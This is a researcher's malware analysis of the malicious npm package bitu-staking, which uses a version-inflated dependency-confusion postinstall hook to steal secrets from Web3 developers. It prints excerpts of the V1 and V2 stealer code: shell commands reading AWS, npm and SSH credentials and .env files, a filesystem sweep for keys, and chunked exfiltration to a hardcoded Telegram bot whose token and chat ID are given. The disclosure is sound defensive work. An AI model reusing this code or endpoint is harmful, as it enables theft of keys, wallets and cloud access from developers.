Disclaimer: All research and opinions expressed here are my own and are independent of any employer or organisation.

bitu-staking critical by Paul Newton

bitu-staking - Crypto Stealer — V2 Upgrade

Part of a ten-package cluster of malicious npm packages impersonating internal packages of a Web3/DeFi project named "BitU". bitu-staking is the only package in the cluster with two published versions: 99.0.0 carries the V1 payload (BITU_NPM_BEACON, shared with nine other packages) and 99.0.1 carries a significantly upgraded V2 payload (BITU_BEACON_V2). The V2 upgrade adds full SSH private key exfiltration (~/.ssh/id_rsa), SSH known_hosts (revealing internal infrastructure hostnames), SSH config (jump hosts and aliases), a complete unfiltered process.env dump, Docker/container environment via /proc/1/environ, mount point enumeration, /etc/hosts and /etc/resolv.conf, a running process list, and a broad filesystem sweep for .env*, *.key, *.pem, and private* files to depth 4. V2's deployment as a version bump to an existing package name rather than a new name indicates active iterative development and confirms an engaged threat actor.

Package

Name

bitu-staking

Version

99.0.1

Publisher email

a77178694@gmail.com

View on NPM

Threat Actor

Unknown

Tags

#npm #dependency-confusion #telegram-c2 #ssh-key-theft #env-stealer #web3 #defi #foundry #postinstall #crypto-stealer

Package Metadata — Version Squatting

Both versions of bitu-staking carry the generic description "BitU module" with no author field, repository link, or homepage. Version numbers 99.0.0 and 99.0.1 use deliberately inflated version numbers — set high enough that npm will always resolve this public package over any internal one sharing the same name. index.js exports an empty object; all payload logic runs from scripts/postinstall.js via the postinstall lifecycle hook. The version bump from 99.0.0 to 99.0.1 was used to deploy the V2 payload upgrade rather than publishing a new package name.

package.json — same structure across both versions

{
  "name": "bitu-staking",
  "version": "99.0.1",
  "description": "BitU module",
  "main": "index.js",
  "scripts": {
    "postinstall": "node scripts/postinstall.js"
  }
}

V1 Payload — Crypto Credential Stealer (99.0.0)

Version 99.0.0 carries the V1 payload, identical to the other nine bitu-* packages. Environment variables are filtered by regex matching KEY, SECRET, TOKEN, PRIVATE, PASSWORD, MNEMONIC, SEED, DEPLOYER, SIGNER, WALLET, AWS, INFURA, and ALCHEMY. The Foundry keystore check (~/.foundry/keystores/) confirms specific knowledge of the Ethereum development toolchain. All data exfiltrated to Telegram bot tagged BITU_NPM_BEACON.

scripts/postinstall.js (V1, 99.0.0) — crypto-targeted credential collection

const data = {
  t: 'BITU_NPM_BEACON',
  ts: new Date().toISOString(),
  h: os.hostname(),
  u: os.userInfo().username,
  p: os.platform(),
  cwd: process.cwd(),

  env: Object.keys(process.env).filter(k =>
    /KEY|SECRET|TOKEN|PRIVATE|PASSWORD|MNEMONIC|SEED|DEPLOYER|SIGNER|WALLET|AWS|INFURA|ALCHEMY/i.test(k)
  ).reduce((o,k) => { o[k] = process.env[k]; return o; }, {}),
  allEnvKeys: Object.keys(process.env).join(','),

  ssh:         safeExec('ls -la ~/.ssh/ 2>/dev/null'),
  aws:         safeExec('cat ~/.aws/credentials 2>/dev/null'),
  envFiles:    safeExec('find ~ -maxdepth 3 -name ".env*" -type f 2>/dev/null'),
  envContent:  safeExec('find ~ -maxdepth 3 -name ".env*" -type f -exec cat {} \\; 2>/dev/null'),
  foundryKeys: safeExec('ls -la ~/.foundry/keystores/ 2>/dev/null'),
  gitConfig:   safeExec('cat ~/.gitconfig 2>/dev/null'),
  npmrc:       safeExec('cat ~/.npmrc 2>/dev/null')
};

V2 Payload — Full Exfiltration Upgrade (99.0.1)

Version 99.0.1 carries a significantly upgraded payload tagged BITU_BEACON_V2. Relative to V1, V2 adds: full SSH private key file contents (not just a directory listing), SSH known_hosts revealing internal infrastructure hostnames, SSH config exposing jump hosts and aliases, a complete unfiltered process.env dump, Docker/container environment via /proc/1/environ enabling container escape reconnaissance, mount point enumeration, /etc/hosts and /etc/resolv.conf for internal network topology, a running process list, and a broad filesystem search for .env*, *.key, *.pem, and private* files across the entire filesystem to depth 4. The safeExec timeout was doubled to 10 seconds and safeRead caps increased to 4,000 characters. V2 messages to Telegram are tagged [V2 N/M] without Markdown formatting; a 1-second delay between chunks avoids Telegram rate limits.

scripts/postinstall.js (V2, 99.0.1) — additional capabilities vs V1

// New in V2 — full file reads using fs.readFileSync
sshPriv:   safeRead(homedir + '/.ssh/id_rsa'),       // full private key contents
sshPub:    safeRead(homedir + '/.ssh/id_rsa.pub'),
sshKnown:  safeRead(homedir + '/.ssh/known_hosts'),  // internal infra hostnames
sshConfig: safeRead(homedir + '/.ssh/config'),       // jump hosts, aliases
fullEnv:   JSON.stringify(process.env),              // all vars, unfiltered

// Container / cloud recon
dockerEnv: safeRead('/proc/1/environ'),              // container environment
mounts:    safeExec('mount 2>/dev/null | head -20'),

// Internal network topology
hosts:   safeRead('/etc/hosts'),
resolv:  safeRead('/etc/resolv.conf'),

// Process list
ps: safeExec('ps aux 2>/dev/null | head -20'),

// Broad filesystem secret hunt (maxdepth 4)
findEnv: safeExec('find / -maxdepth 4 -name ".env*" -o -name "*.key" -o -name "*.pem" -o -name "private*" 2>/dev/null'),

// V2 Telegram — 1-second delay between chunks
chunks.forEach((chunk, idx) => {
  setTimeout(() => {
    sendToTelegram(`[V2 ${idx+1}/${chunks.length}]\n${chunk}`);
  }, idx * 1000);
});

Telegram C2 Exfiltration

Both payload versions report to the same hardcoded Telegram bot token and chat ID, shared across all ten packages in the cluster. Data is serialised as JSON and split into 3,500-character chunks. V1 messages are tagged [BITU-NPM N/M] with Markdown formatting; V2 messages are tagged [V2 N/M] without Markdown and with 1-second delays between chunks to avoid Telegram rate limits.

scripts/postinstall.js — shared Telegram C2 credentials

const botToken = '8797440605:AAEzk13-lD_Yif3TGP2fIGXhHgDBglTCpXk';
const chatId   = '7604069194';

Indicators of Compromise

Malicious Packages

Package Version Author Notes
bitu-staking 99.0.0 V1 payload — BITU_NPM_BEACON; postinstall hook
bitu-staking 99.0.1 V2 payload — BITU_BEACON_V2; adds full SSH key, unfiltered env, container/network recon, broad filesystem sweep

URLs

URL Context
hxxps://api.telegram[.]org/bot8797440605:AAEzk13-lD_Yif3TGP2fIGXhHgDBglTCpXk/sendMessage Sole C2 — Telegram bot; chat_id 7604069194; shared across all ten bitu-* packages; used by both V1 and V2

Targeted File Paths

Path Context
scripts/postinstall.js Payload entry point; invoked by npm postinstall lifecycle hook
~/.foundry/keystores/ Foundry Ethereum private key directory listed; confirms Web3/DeFi developer targeting
~/.aws/credentials AWS credential file read in full
~/.gitconfig Git user identity — developer identification
~/.npmrc npm auth tokens and registry config
~/.ssh/id_rsa V2 only — full SSH private key contents read and exfiltrated
~/.ssh/id_rsa.pub V2 only — SSH public key
~/.ssh/known_hosts V2 only — reveals internal infrastructure hostnames
~/.ssh/config V2 only — exposes jump hosts and internal SSH aliases
/proc/1/environ V2 only — container environment block; enables container escape reconnaissance
/etc/hosts V2 only — internal network topology
/etc/resolv.conf V2 only — DNS resolver config; reveals internal nameservers

Environment Variables / Config Paths

Artefact Context
MNEMONIC / SEED Wallet mnemonic / seed phrase — direct wallet compromise
PRIVATE / PRIVATE_KEY / DEPLOYER Ethereum private keys for contract deployment
INFURA_KEY / ALCHEMY_KEY / ALCHEMY RPC provider API keys
SIGNER / WALLET DeFi signer/wallet credentials
AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY AWS credentials — cloud infrastructure access
* (all env vars, unfiltered) V2 only — fullEnv field sends complete process.env without any filtering